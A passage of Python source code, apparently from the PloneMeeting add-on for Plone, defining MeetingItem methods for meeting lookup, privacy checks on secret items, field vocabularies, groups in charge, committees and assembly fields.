tool.getMeetingConfig(item)\n predecessor = item.get_predecessor()\n predecessors = []\n # retrieve every predecessors\n while predecessor:\n if item._appendLinkedItem(predecessor, tool, cfg, only_viewable=only_viewable):\n predecessors.append(predecessor)\n predecessor = predecessor.get_predecessor()\n # keep order\n predecessors.reverse()\n # retrieve successors too\n if include_successors:\n successors = item.get_every_successors()\n successors = [successor for successor in successors\n if item._appendLinkedItem(successor, tool, cfg, only_viewable)]\n predecessors += successors\n return predecessors\n\n security.declarePublic('displayLinkedItem')\n\n def displayLinkedItem(self, item):\n '''Return a HTML structure to display a linked item.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n meeting = item.hasMeeting()\n # display the meeting date if the item is linked to a meeting\n if meeting:\n title = item.Title(withMeetingDate=True)\n return tool.getColoredLink(item,\n showColors=True,\n showContentIcon=True,\n contentValue=title)\n else:\n # try to share cache of getPrettyLink\n return item.getPrettyLink()\n\n def getMeeting(self, only_uid=False, caching=True):\n '''Returns the linked meeting if it exists.'''\n res = None\n if only_uid:\n res = getattr(self, 'linked_meeting_uid', None)\n else:\n meeting_path = getattr(self, 'linked_meeting_path', None)\n if meeting_path:\n if caching and hasattr(self, \"REQUEST\"):\n meeting_uid = getattr(self, 'linked_meeting_uid', None)\n res = self.REQUEST.get('meeting__%s' % meeting_uid)\n if not res:\n portal = api.portal.get()\n res = portal.unrestrictedTraverse(meeting_path)\n if caching and hasattr(self, \"REQUEST\"):\n self.REQUEST.set('meeting__%s' % meeting_uid, res)\n return res\n\n def getMeetingToInsertIntoWhenNoCurrentMeetingObjectPath_cachekey(method, self):\n '''cachekey method for self.getMeetingToInsertIntoWhenNoCurrentMeetingObjectPath.'''\n # valid until a meeting was modified (date or review_state)\n # and when preferredMeeting is still the same\n date_date = get_cachekey_volatile('Products.PloneMeeting.Meeting.date')\n date_review_state = get_cachekey_volatile('Products.PloneMeeting.Meeting.review_state')\n return repr(self), self.getPreferredMeeting(), date_date, date_review_state\n\n @ram.cache(getMeetingToInsertIntoWhenNoCurrentMeetingObjectPath_cachekey)\n def getMeetingToInsertIntoWhenNoCurrentMeetingObjectPath(self):\n \"\"\"Cached method used by getMeetingToInsertIntoWhenNoCurrentMeetingObject.\"\"\"\n res = None\n # first, find meetings in the future still accepting items\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # do a list with meetingStates so it is not considered as a tuple by getMeetingsAcceptingItems\n # indeed, in some case the tuple ('created', 'frozen') behaves specifically\n meetingStates = list(cfg.getMeetingPresentItemWhenNoCurrentMeetingStates())\n brains = []\n preferredMeeting = self.getPreferredMeeting()\n if preferredMeeting != ITEM_NO_PREFERRED_MEETING_VALUE:\n # preferredMeeting, try to get it from meetingsAcceptingItems or\n # use meetingsAcceptingItems in the future\n brains = cfg.getMeetingsAcceptingItems(review_states=meetingStates)\n brains = [brain for brain in brains if brain.UID == preferredMeeting]\n\n # extend brains with other meetings accepting items, this way if preferred meeting\n # does not accept items, we will have other possibilities\n # no preferredMeeting or it was not found in meetingsAcceptingItems\n # take into account meetings in the future\n brains += list(cfg.getMeetingsAcceptingItems(\n review_states=meetingStates, inTheFuture=True))\n\n for brain in brains:\n meeting = brain.getObject()\n # find a meeting that is really accepting current item\n # in case meeting is frozen, make sure current item isLateFor(meeting)\n # also in case no meetingStates, a closed meeting could be returned, check\n # that current user may edit returned meeting\n if meeting.wfConditions().may_accept_items() and \\\n (not meeting.is_late() or self.wfConditions().isLateFor(meeting)):\n res = meeting\n break\n return res and \"/\".join(res.getPhysicalPath())\n\n def getMeetingToInsertIntoWhenNoCurrentMeetingObject(self):\n '''Return the meeting the item will be inserted into in case the 'present'\n transition from another view than the meeting view. This will take into\n acount meeting states defined in MeetingConfig.meetingPresentItemWhenNoCurrentMeetingStates.'''\n meeting_path = self.getMeetingToInsertIntoWhenNoCurrentMeetingObjectPath()\n meeting = None\n if meeting_path:\n portal = api.portal.get()\n meeting = portal.unrestrictedTraverse(meeting_path)\n return meeting\n\n def _getOtherMeetingConfigsImAmClonedIn(self):\n '''Returns a list of meetingConfig ids self has been cloned to'''\n ann = IAnnotations(self)\n res = []\n for k in ann:\n if k.startswith(SENT_TO_OTHER_MC_ANNOTATION_BASE_KEY):\n res.append(k.replace(SENT_TO_OTHER_MC_ANNOTATION_BASE_KEY, ''))\n return res\n\n def isPrivacyViewable_cachekey(method, self):\n '''cachekey method for self.isPrivacyViewable.'''\n item = self.getSelf()\n if item.getPrivacy().startswith('public'):\n return True\n else:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if not cfg.getRestrictAccessToSecretItems() or tool.isManager(cfg):\n return True\n date = get_cachekey_volatile('_users_groups_value')\n return repr(item), item.modified(), get_plone_groups_for_user(), date\n\n security.declarePublic('isPrivacyViewable')\n\n @ram.cache(isPrivacyViewable_cachekey)\n def isPrivacyViewable(self):\n '''Check doc in interfaces.py.'''\n # Checking the 'privacy condition' is only done if privacy is 'secret'.\n item = self.getSelf()\n privacy = item.getPrivacy()\n # 'public' or 'public_heading' items\n if privacy.startswith('public'):\n return True\n # check if privacy needs to be checked...\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if not cfg.getRestrictAccessToSecretItems():\n return True\n # Bypass privacy check for (Meeting)Manager\n if tool.isManager(cfg):\n return True\n\n # now check if among local_roles, a role is giving view access to the item\n # for a group that current user is member of except powerobservers groups\n userGroups = get_plone_groups_for_user()\n po_suffixes = tuple(po['row_id'] for po in cfg.getPowerObservers())\n itemUserRoles = [roles for group_id, roles in item.__ac_local_roles__.items()\n if group_id in userGroups and not group_id.endswith(po_suffixes)]\n # merge lists and remove duplicates\n itemUserRoles = set(list(itertools.chain.from_iterable(itemUserRoles)))\n if itemUserRoles.intersection(item._View_Permission):\n return True\n\n # check if current user is a power observer in MeetingConfig.restrictAccessToSecretItemsTo\n restricted_power_obs = cfg.getRestrictAccessToSecretItemsTo()\n if restricted_power_obs and \\\n tool.isPowerObserverForCfg(cfg, power_observer_types=restricted_power_obs):\n return False\n\n # a power observer not in restrictAccessToSecretItemsTo?\n if tool.isPowerObserverForCfg(cfg):\n return True\n\n def isViewable(self):\n \"\"\" \"\"\"\n return _checkPermission(View, self)\n\n security.declarePublic('getAllCopyGroups')\n\n def getAllCopyGroups(self, auto_real_plone_group_ids=False):\n \"\"\"Return manually selected copyGroups and automatically added ones.\n If p_auto_real_plone_group_ids is True, the real Plone group id is returned for\n automatically added groups instead of the AUTO_COPY_GROUP_PREFIX prefixed name.\"\"\"\n allGroups = self.getCopyGroups()\n if auto_real_plone_group_ids:\n allGroups += tuple([self._realCopyGroupId(plone_group_id)\n for plone_group_id in self.autoCopyGroups])\n else:\n allGroups += tuple(self.autoCopyGroups)\n return allGroups\n\n def check_copy_groups_have_access(self):\n \"\"\"Return True if copyGroups have access in current review_state.\"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return self.query_state() in cfg.getItemCopyGroupsStates()\n\n security.declarePublic('checkPrivacyViewable')\n\n def checkPrivacyViewable(self):\n '''Raises Unauthorized if the item is not privacy-viewable.'''\n if not self.adapted().isPrivacyViewable():\n raise Unauthorized\n\n security.declarePublic('getExtraFieldsToCopyWhenCloning')\n\n def getExtraFieldsToCopyWhenCloning(self, cloned_to_same_mc, cloned_from_item_template):\n '''Check doc in interfaces.py.'''\n return []\n\n security.declarePrivate('listMeetingsAcceptingItems')\n\n def listMeetingsAcceptingItems(self):\n '''Returns the (Display)list of meetings returned by\n MeetingConfig.getMeetingsAcceptingItems.'''\n res = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n\n # while passing empty review_states, it is computed depending\n # on fact that current user isManager or not\n for meetingBrain in cfg.getMeetingsAcceptingItems(review_states=[]):\n meetingDate = tool.format_date(meetingBrain.meeting_date, with_hour=True)\n meetingState = translate(meetingBrain.review_state,\n domain=\"plone\",\n context=self.REQUEST)\n res.append((meetingBrain.UID,\n u\"{0} ({1})\".format(meetingDate,\n meetingState)))\n # if one preferred meeting was already defined on self, add it\n # to the vocabulary or editing an older item could loose that information\n preferredMeetingUID = self.getPreferredMeeting()\n # add it if we actually have a preferredMeetingUID stored\n # and if it is not yet in the vocabulary!\n if preferredMeetingUID and \\\n preferredMeetingUID != ITEM_NO_PREFERRED_MEETING_VALUE and \\\n preferredMeetingUID not in [meetingInfo[0] for meetingInfo in res]:\n # check that stored preferredMeeting still exists, if it\n # is the case, add it the the vocabulary\n brain = uuidToCatalogBrain(preferredMeetingUID, unrestricted=True)\n if brain:\n preferredMeetingDate = tool.format_date(\n brain.meeting_date, with_hour=True)\n preferredMeetingState = translate(brain.review_state,\n domain=\"plone\",\n context=self.REQUEST)\n res.append((brain.UID,\n u\"{0} ({1})\".format(preferredMeetingDate, preferredMeetingState)))\n res.reverse()\n res.insert(0, (ITEM_NO_PREFERRED_MEETING_VALUE, 'Any meeting'))\n return DisplayList(tuple(res))\n\n security.declarePrivate('listMeetingTransitions')\n\n def listMeetingTransitions(self):\n '''Lists the possible transitions for meetings of the same meeting\n config as this item.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = DisplayList(\n tuple((\n ('_init_',\n translate('_init_', domain=\"plone\", context=self.REQUEST)), ))\n )\n res += cfg.listMeetingTransitions()\n return res\n\n security.declarePrivate('listOtherMeetingConfigsClonableTo')\n\n def listOtherMeetingConfigsClonableTo(self):\n '''Lists the possible other meetingConfigs the item can be cloned to.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n meetingConfig = tool.getMeetingConfig(self)\n res = []\n for mctct in meetingConfig.getMeetingConfigsToCloneTo():\n res.append((mctct['meeting_config'], getattr(tool, mctct['meeting_config']).Title()))\n # make sure otherMeetingConfigsClonableTo actually stored have their corresponding\n # term in the vocabulary, if not, add it\n otherMeetingConfigsClonableTo = self.getOtherMeetingConfigsClonableTo()\n if otherMeetingConfigsClonableTo:\n otherMeetingConfigsClonableToInVocab = [term[0] for term in res]\n for meetingConfigId in otherMeetingConfigsClonableTo:\n if meetingConfigId not in otherMeetingConfigsClonableToInVocab:\n res.append((meetingConfigId, getattr(tool, meetingConfigId).Title()))\n return DisplayList(tuple(res))\n\n security.declarePrivate('listOtherMeetingConfigsClonableToEmergency')\n\n def listOtherMeetingConfigsClonableToEmergency(self):\n '''Lists the possible other meetingConfigs the item can be cloned to.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n meetingConfig = tool.getMeetingConfig(self)\n res = []\n translated_msg = translate('Emergency while presenting in other MC',\n domain='PloneMeeting',\n context=self.REQUEST)\n for mctct in meetingConfig.getMeetingConfigsToCloneTo():\n res.append((mctct['meeting_config'], translated_msg))\n # make sure otherMeetingConfigsClonableToEmergency actually stored have their corresponding\n # term in the vocabulary, if not, add it\n otherMCsClonableToEmergency = self.getOtherMeetingConfigsClonableToEmergency()\n if otherMCsClonableToEmergency:\n otherMeetingConfigsClonableToEmergencyInVocab = [term[0] for term in res]\n for meetingConfigId in otherMCsClonableToEmergency:\n if meetingConfigId not in otherMeetingConfigsClonableToEmergencyInVocab:\n res.append((meetingConfigId, translated_msg))\n return DisplayList(tuple(res))\n\n security.declarePrivate('listOtherMeetingConfigsClonableToPrivacy')\n\n def listOtherMeetingConfigsClonableToPrivacy(self):\n '''Lists the possible other meetingConfigs the item can be cloned to.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n meetingConfig = tool.getMeetingConfig(self)\n res = []\n translated_msg = translate('Secret while presenting in other MC?',\n domain='PloneMeeting',\n context=self.REQUEST)\n for mctct in meetingConfig.getMeetingConfigsToCloneTo():\n res.append((mctct['meeting_config'], translated_msg))\n # make sure otherMeetingConfigsClonableToPrivacy actually stored have their corresponding\n # term in the vocabulary, if not, add it\n otherMCsClonableToPrivacy = self.getOtherMeetingConfigsClonableToPrivacy()\n if otherMCsClonableToPrivacy:\n otherMeetingConfigsClonableToPrivacyInVocab = [term[0] for term in res]\n for meetingConfigId in otherMCsClonableToPrivacy:\n if meetingConfigId not in otherMeetingConfigsClonableToPrivacyInVocab:\n res.append((meetingConfigId, translated_msg))\n return DisplayList(tuple(res))\n\n security.declarePrivate('listItemTags')\n\n def listItemTags(self):\n '''Lists the available tags from the meeting config.'''\n res = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n for tag in cfg.getAllItemTags().split('\\n'):\n res.append((tag, tag))\n return DisplayList(tuple(res))\n\n security.declarePrivate('listEmergencies')\n\n def listEmergencies(self):\n '''Vocabulary for the 'emergency' field.'''\n d = 'PloneMeeting'\n res = DisplayList((\n (\"no_emergency\", translate('no_emergency',\n domain=d,\n context=self.REQUEST)),\n (\"emergency_asked\", translate('emergency_asked',\n domain=d,\n context=self.REQUEST)),\n (\"emergency_accepted\", translate('emergency_accepted',\n domain=d,\n context=self.REQUEST)),\n (\"emergency_refused\", translate('emergency_refused',\n domain=d,\n context=self.REQUEST)),\n ))\n return res\n\n security.declarePrivate('listCompleteness')\n\n def listCompleteness(self):\n '''Vocabulary for the 'completeness' field.'''\n d = 'PloneMeeting'\n res = DisplayList((\n (\"completeness_not_yet_evaluated\", translate('completeness_not_yet_evaluated',\n domain=d,\n context=self.REQUEST)),\n (\"completeness_complete\", translate('completeness_complete',\n domain=d,\n context=self.REQUEST)),\n (\"completeness_incomplete\", translate('completeness_incomplete',\n domain=d,\n context=self.REQUEST)),\n (\"completeness_evaluation_asked_again\", translate('completeness_evaluation_asked_again',\n domain=d,\n context=self.REQUEST)),\n (\"completeness_evaluation_not_required\", translate('completeness_evaluation_not_required',\n domain=d,\n context=self.REQUEST)),\n ))\n return res\n\n security.declarePublic('hasMeeting')\n\n def hasMeeting(self):\n '''Is there a meeting tied to me?'''\n return self.getMeeting(only_uid=True) is not None\n\n security.declarePublic('isLate')\n\n def isLate(self):\n '''Am I a late item?'''\n return bool(self.getListType() == 'late')\n\n security.declarePrivate('getListTypeLateValue')\n\n def getListTypeLateValue(self, meeting):\n '''See doc in interfaces.py.'''\n return 'late'\n\n security.declarePrivate('getListTypeNormalValue')\n\n def getListTypeNormalValue(self, meeting):\n '''See doc in interfaces.py.'''\n return 'normal'\n\n security.declarePrivate('listCategories')\n\n def listCategories(self, classifiers=False):\n '''Returns a DisplayList containing all available active categories in\n the meeting config that corresponds me.'''\n res = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n catType = classifiers and 'classifiers' or 'categories'\n for cat in cfg.getCategories(catType=catType):\n res.append((cat.id, safe_unicode(cat.Title())))\n\n # make sure current category is listed here\n field_name = classifiers and \"classifier\" or \"category\"\n storedKeys = [elt[0] for elt in res]\n current_cat = self.getField(field_name).getAccessor(self)(theObject=True)\n if current_cat and not current_cat.getId() in storedKeys:\n res.append((current_cat.getId(), safe_unicode(current_cat.Title())))\n\n if field_name not in cfg.getItemFieldsToKeepConfigSortingFor():\n # natural sort, reverse tuple so we have value/key instead key/value\n # and realsorted may achieve his work\n res = [(elt[1], elt[0]) for elt in res]\n res = humansorted(res)\n res = [(elt[1], elt[0]) for elt in res]\n\n res.insert(0, ('_none_', translate('make_a_choice',\n domain='PloneMeeting',\n context=self.REQUEST)))\n return DisplayList(res)\n\n security.declarePrivate('listClassifiers')\n\n def listClassifiers(self):\n '''Returns a DisplayList containing all available active classifiers in\n the meeting config that corresponds me.'''\n return self.listCategories(classifiers=True)\n\n security.declarePublic('getCategory')\n\n def getCategory(self, theObject=False, **kwargs):\n '''Overrided accessor to be able to handle parameter p_theObject=False.'''\n cat_id = self.getField('category').get(self, **kwargs)\n return _get_category(self, cat_id, the_object=theObject)\n\n security.declarePublic('getClassifier')\n\n def getClassifier(self, theObject=False, **kwargs):\n '''Overrided accessor to be able to handle parameter p_theObject=False.'''\n cat_id = self.getField('classifier').get(self, **kwargs)\n return _get_category(self, cat_id, the_object=theObject, cat_type=\"classifiers\")\n\n security.declarePublic('getProposingGroup')\n\n def getProposingGroup(self, theObject=False, **kwargs):\n '''This redefined accessor may return the proposing group id or the real\n group if p_theObject is True.'''\n res = self.getField('proposingGroup').get(self, **kwargs) # = group id\n if res and theObject:\n res = uuidToObject(res, unrestricted=True)\n return res\n\n def getPreferredMeeting(self, theObject=False, caching=True, **kwargs):\n '''This redefined accessor may return the preferred meeting id or\n the real meeting if p_theObject is True.'''\n res = self.getField('preferredMeeting').get(self, **kwargs)\n if theObject:\n meeting_uid = res\n res = None\n if meeting_uid and meeting_uid != ITEM_NO_PREFERRED_MEETING_VALUE:\n preferred_meeting_path = getattr(self, 'preferred_meeting_path', None)\n if preferred_meeting_path:\n if caching and hasattr(self, \"REQUEST\"):\n res = self.REQUEST.get('preferred_meeting__%s' % meeting_uid)\n if not res:\n portal = api.portal.get()\n res = portal.unrestrictedTraverse(preferred_meeting_path)\n if caching and hasattr(self, \"REQUEST\"):\n self.REQUEST.set('preferred_meeting__%s' % meeting_uid, res)\n return res\n\n security.declarePublic('getGroupsInCharge')\n\n def getGroupsInCharge(self,\n theObjects=False,\n fromOrgIfEmpty=False,\n fromCatIfEmpty=False,\n first=False,\n includeAuto=True,\n **kwargs):\n '''Redefine field MeetingItem.groupsInCharge accessor to be able to return\n groupsInCharge id or the real orgs if p_theObjects is True.\n Default behaviour is to get the orgs stored in the groupsInCharge field.\n If p_first is True, we only return first group in charge.\n If p_includAuto is True, we will include auto computed groupsInCharge,\n so groupsInCharge defined in proposingGroup and category.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n\n res = list(self.getField('groupsInCharge').get(self, **kwargs)) # = org_uid\n\n if (not res and fromOrgIfEmpty) or \\\n (includeAuto and cfg.getIncludeGroupsInChargeDefinedOnProposingGroup()):\n proposingGroup = self.getProposingGroup(theObject=True)\n # maybe an item template defined in the MeetingConfig?\n if proposingGroup:\n org_groups_in_charge = [\n gic_uid for gic_uid in proposingGroup.get_groups_in_charge()\n if gic_uid not in res]\n if org_groups_in_charge:\n res += list(org_groups_in_charge)\n\n if (not res and fromCatIfEmpty) or \\\n (includeAuto and cfg.getIncludeGroupsInChargeDefinedOnCategory()):\n # consider category and classifier\n categories = []\n category = self.getCategory(theObject=True)\n if category:\n categories.append(category)\n classifier = self.getClassifier(theObject=True)\n if classifier:\n categories.append(classifier)\n for cat in categories:\n cat_groups_in_charge = [\n gic_uid for gic_uid in cat.get_groups_in_charge()\n if gic_uid not in res]\n if cat_groups_in_charge:\n res += list(cat_groups_in_charge)\n\n # avoid getting every organizations if first=True\n if res and first and theObjects:\n res = [res[0]]\n\n if theObjects:\n res = uuidsToObjects(res, ordered=True, unrestricted=True)\n\n if res and first:\n res = res[0]\n\n return res\n\n security.declarePublic('getAssociatedGroups')\n\n def getAssociatedGroups(self, theObjects=False, **kwargs):\n '''This redefined accessor may return associated group ids or the real\n groups if p_theObjects is True.'''\n res = self.getField('associatedGroups').get(self, **kwargs)\n if res and theObjects:\n return tuple(uuidsToObjects(uuids=res, ordered=True, unrestricted=True))\n return res\n\n security.declarePublic('fieldIsEmpty')\n\n def fieldIsEmpty(self, name):\n '''Is field named p_name empty ?'''\n return fieldIsEmpty(name, self)\n\n security.declarePublic('wfConditions')\n\n def wfConditions(self):\n '''Returns the adapter that implements the interface that proposes\n methods for use as conditions in the workflow associated with this\n item.'''\n return getWorkflowAdapter(self, conditions=True)\n\n security.declarePublic('wfActions')\n\n def wfActions(self):\n '''Returns the adapter that implements the interface that proposes\n methods for use as actions in the workflow associated with this\n item.'''\n return getWorkflowAdapter(self, conditions=False)\n\n security.declarePublic('adapted')\n\n def adapted(self):\n '''Gets the \"adapted\" version of myself. If no custom adapter is found,\n this method returns me.'''\n return getCustomAdapter(self)\n\n security.declarePublic('hasHistory')\n\n def hasHistory(self, fieldName=None):\n '''See doc in utils.py.'''\n return hasHistory(self, fieldName)\n\n def attribute_is_used_cachekey(method, self, name):\n '''cachekey method for self.attribute_is_used.'''\n return \"{0}.{1}\".format(self.portal_type, name)\n\n security.declarePublic('attribute_is_used')\n\n @ram.cache(attribute_is_used_cachekey)\n def attribute_is_used(self, name):\n '''Is the attribute named p_name used in this meeting config ?'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return (name in cfg.getUsedItemAttributes())\n\n def query_state_cachekey(method, self):\n '''cachekey method for self.query_state.'''\n return getattr(aq_base(self), 'workflow_history', {})\n\n security.declarePublic('query_state')\n\n # not ramcached perf tests says it does not change anything\n # and this avoid useless entry in cache\n # @ram.cache(query_state_cachekey)\n def query_state(self):\n '''In what state am I ?'''\n wfTool = api.portal.get_tool('portal_workflow')\n return wfTool.getInfoFor(self, 'review_state')\n\n security.declarePublic('getSelf')\n\n def getSelf(self):\n '''All MeetingItem methods that are overridable through a custom adapter\n can't make the assumption that p_self corresponds to a MeetingItem\n instance. Indeed, p_self may correspond to an adapter instance. Those\n methods can retrieve the MeetingItem instance through a call to\n m_getSelf.'''\n res = self\n if self.getTagName() != 'MeetingItem':\n res = self.context\n return res\n\n def _may_update_item_reference(self):\n '''See docstring in interfaces.py.'''\n may_update = False\n item = self.getSelf()\n if item.hasMeeting():\n may_update = True\n else:\n # manage reference for items out of meeting\n tool = api.portal.get_tool(\"portal_plonemeeting\")\n cfg = tool.getMeetingConfig(item)\n may_update = cfg.getComputeItemReferenceForItemsOutOfMeeting()\n return may_update\n\n security.declarePublic('update_item_reference')\n\n def update_item_reference(self, clear=False):\n '''Update the item reference, recompute it,\n stores it and reindex 'getItemReference'.\n This rely on _may_update_item_reference.'''\n res = ''\n if not clear and self.adapted()._may_update_item_reference():\n meeting = self.getMeeting()\n extra_expr_ctx = _base_extra_expr_ctx(self)\n extra_expr_ctx.update({'item': self, 'meeting': meeting})\n cfg = extra_expr_ctx['cfg']\n # default raise_on_error=False so if the expression\n # raise an error, we will get '' for reference and a message in the log\n res = _evaluateExpression(self,\n expression=cfg.getItemReferenceFormat().strip(),\n roles_bypassing_expression=[],\n extra_expr_ctx=extra_expr_ctx)\n # make sure we do not have None\n res = res or ''\n\n stored = self.getField('itemReference').get(self)\n if stored != res:\n self.setItemReference(res)\n idxs = self.adapted().getIndexesRelatedTo('item_reference')\n if idxs:\n # avoid update_metadata, we do not need to update modified neither\n reindex_object(self, idxs=idxs, update_metadata=0)\n return res\n\n def update_groups_in_charge(self):\n \"\"\"When MeetingConfig.includeGroupsInChargeDefinedOnProposingGroup or\n MeetingConfig.includeGroupsInChargeDefinedOnCategory is used,\n if MeetingItem.groupsInCharge is empty or\n \"need_MeetingItem_update_groups_in_charge_xxx\" is found in REQUEST,\n we will store corresponding groupsInCharge.\"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n gic_from_cat = cfg.getIncludeGroupsInChargeDefinedOnCategory()\n gic_from_pg = cfg.getIncludeGroupsInChargeDefinedOnProposingGroup()\n if (gic_from_cat or gic_from_pg) and \\\n (not self.groupsInCharge or\n (self.REQUEST.get('need_MeetingItem_update_groups_in_charge_category') and\n gic_from_cat) or\n (self.REQUEST.get('need_MeetingItem_update_groups_in_charge_classifier') and\n gic_from_cat) or\n (self.REQUEST.get('need_MeetingItem_update_groups_in_charge_proposing_group') and\n gic_from_pg)):\n # empty the groups_in_charge before updating it because\n # it is taken into account by getGroupsInCharge\n self.setGroupsInCharge([])\n groups_in_charge = self.getGroupsInCharge(includeAuto=True)\n self.setGroupsInCharge(groups_in_charge)\n\n def update_committees(self):\n \"\"\"Update committees automatically?\n This will be the case if :\n - \"committees\" field used;\n - no commitees selected on item of a parameter on item changed;\n - the item is not inserted into a meeting\n (this avoid changing old if configuration changed).\"\"\"\n indexes = []\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # warning, \"committees\" is in MeetingConfig.usedMeetingAttributes\n if \"committees\" in cfg.getUsedMeetingAttributes() and \\\n (not self.getCommittees() or self.REQUEST.get('need_MeetingItem_update_committees')) and \\\n not self.hasMeeting():\n if cfg.is_committees_using(\"auto_from\"):\n committees = []\n for committee in cfg.getCommittees(only_enabled=True):\n if \"proposing_group__\" + self.getProposingGroup() in committee[\"auto_from\"] or \\\n \"category__\" + self.getCategory() in committee[\"auto_from\"] or \\\n \"classifier__\" + self.getClassifier() in committee[\"auto_from\"]:\n committees.append(committee['row_id'])\n committees = committees or [NO_COMMITTEE]\n # only set committees if value changed\n if self.getCommittees() != committees:\n self.setCommittees(committees)\n indexes.append('committees_index')\n return indexes\n\n security.declarePublic('hasItemSignatures')\n\n def hasItemSignatures(self):\n '''Does this item define specific item signatures ?.'''\n return bool(self.getField('itemSignatures').get(self))\n\n security.declarePublic('getCertifiedSignatures')\n\n def getCertifiedSignatures(self,\n forceUseCertifiedSignaturesOnMeetingConfig=False,\n from_group_in_charge=False,\n listify=True):\n '''See docstring in interfaces.py.'''\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if forceUseCertifiedSignaturesOnMeetingConfig:\n return cfg.getCertifiedSignatures(computed=True, listify=listify)\n\n selected_group_in_charge = None\n if from_group_in_charge:\n selected_group_in_charge = item.getGroupsInCharge(\n theObjects=True, fromOrgIfEmpty=True, fromCatIfEmpty=True, first=True)\n # get certified signatures computed, this will return a list with pair\n # of function/signatures, so ['function1', 'name1', 'function2', 'name2', 'function3', 'name3', ]\n # this list is ordered by signature number defined on the organization/MeetingConfig\n return item.getProposingGroup(theObject=True).get_certified_signatures(\n computed=True, cfg=cfg, group_in_charge=selected_group_in_charge, listify=listify)\n\n def is_assembly_field_used(self, field_name):\n \"\"\"Helper method that return True if an assembly field is used\n or if it is filled (no more used, swtiched to contacts but filled on old items).\"\"\"\n res = False\n if self.hasMeeting():\n meeting = self.getMeeting()\n attr_names_mapping = {\"itemAssembly\": \"assembly\",\n \"itemAssemblyExcused\": \"assembly_excused\",\n \"itemAssemblyAbsents\": \"assembly_absents\",\n \"itemAssemblyGuests\": \"assembly_guests\",\n \"itemSignatures\": \"signatures\"}\n if meeting.attribute_is_used(attr_names_mapping[field_name]):\n res = True\n else:\n # maybe it was used before?\n accessor = self.getField(field_name).getAccessor(self)\n if accessor(real=True) or accessor(real=False):\n res = True\n return res\n\n security.declarePublic('redefinedItemAssemblies')\n\n def redefinedItemAssemblies(self):\n '''\n Helper method that returns list of redefined assembly attributes if assembly of item has been redefined,\n this is used on the item view. Depending on used item attributes (assembly, excused, absents, guests),\n if one of relevant attribute has been redefined, it will return True.\n '''\n res = []\n # check if assembly redefined\n if self.getItemAssembly(real=True):\n res.append('assembly')\n if self.getItemAssemblyExcused(real=True):\n res.append('assembly_excused')\n if self.getItemAssemblyAbsents(real=True):\n res.append('assembly_absents')\n if self.getItemAssemblyGuests(real=True):\n res.append('assembly_guests')\n # when using contacts\n if self.get_item_absents(the_objects=True):\n res.append('item_absents')\n if self.get_item_excused(the_objects=True):\n res.append('item_excused')\n if self.get_item_non_attendees(the_objects=True):\n res.append('item_non_attendees')\n return res\n\n security.declarePublic('getItemAssembly')\n\n def getItemAssembly(self,\n real=False,\n for_display=True,\n striked=True,\n mark_empty_tags=False,\n **kwargs):\n '''Returns the assembly for this item.\n If no assembly is defined, meeting assembly is returned.'''\n res = self.getField('itemAssembly').getRaw(self, **kwargs)\n if not real and not res and self.hasMeeting():\n res = self.getMeeting().get_assembly(for_display=False)\n # make sure we always have unicode,\n # Meeting stored unicode and MeetingItem stores utf-8\n res = safe_unicode(res)\n if res and for_display:\n res = render_textarea(\n res, self, striked=striked, mark_empty_tags=mark_empty_tags)\n return res\n\n security.declarePublic('getItemAssemblyExcused')\n\n def getItemAssemblyExcused(self,\n real=False,\n for_display=True,\n striked=True,\n mark_empty_tags=False,\n **kwargs):\n '''Returns the assembly excused for this item.\n If no excused are defined for item, meeting assembly excused are returned.'''\n res = self.getField('itemAssemblyExcused').getRaw(self, **kwargs)\n if not real and not res and self.hasMeeting():\n res = self.getMeeting().get_assembly_excused(for_display=False)\n # make sure we always have unicode,\n # Meeting stored unicode and MeetingItem stores utf-8\n res = safe_unicode(res)\n if res and for_display:\n res = render_textarea(res, self, striked=striked, mark_empty_tags=mark_empty_tags)\n return res\n\n security.declarePublic('getItemAssemblyAbsents')\n\n def getItemAssemblyAbsents(self,\n real=False,\n for_display=True,\n striked=True,\n mark_empty_tags=False,\n **kwargs):\n '''Returns the assembly absents for this item.\n If no absents are defined for item, meeting assembly absents are returned.'''\n res = self.getField('itemAssemblyAbsents').getRaw(self, **kwargs)\n if not real and not res and self.hasMeeting():\n res = self.getMeeting().get_assembly_absents(for_display=False)\n # make sure we always have unicode,\n # Meeting stored unicode and MeetingItem stores utf-8\n res = safe_unicode(res)\n if res and for_display:\n res = render_textarea(res, self, striked=striked, mark_empty_tags=mark_empty_tags)\n return res\n\n security.declarePublic('getItemAssemblyGuests')\n\n def getItemAssemblyGuests(self,\n real=False,\n for_display=True,\n striked=True,\n mark_empty_tags=False,\n **kwargs):\n '''Returns the assembly guests for this item.\n If no guests are defined for item, meeting assembly guests are returned.'''\n res = self.getField('itemAssemblyGuests').getRaw(self, **kwargs)\n if not real and not res and self.hasMeeting():\n res = self.getMeeting().get_assembly_guests(for_display=False)\n # make sure we always have unicode,\n # Meeting stored unicode and MeetingItem stores utf-8\n res = safe_unicode(res)\n if res and for_display:\n res = render_textarea(res, self, striked=striked, mark_empty_tags=mark_empty_tags)\n return res\n\n security.declarePublic('getItemSignatures')\n\n def getItemSignatures(self,\n real=False,\n for_display=False,\n striked=False,\n mark_empty_tags=False,\n **kwargs):\n 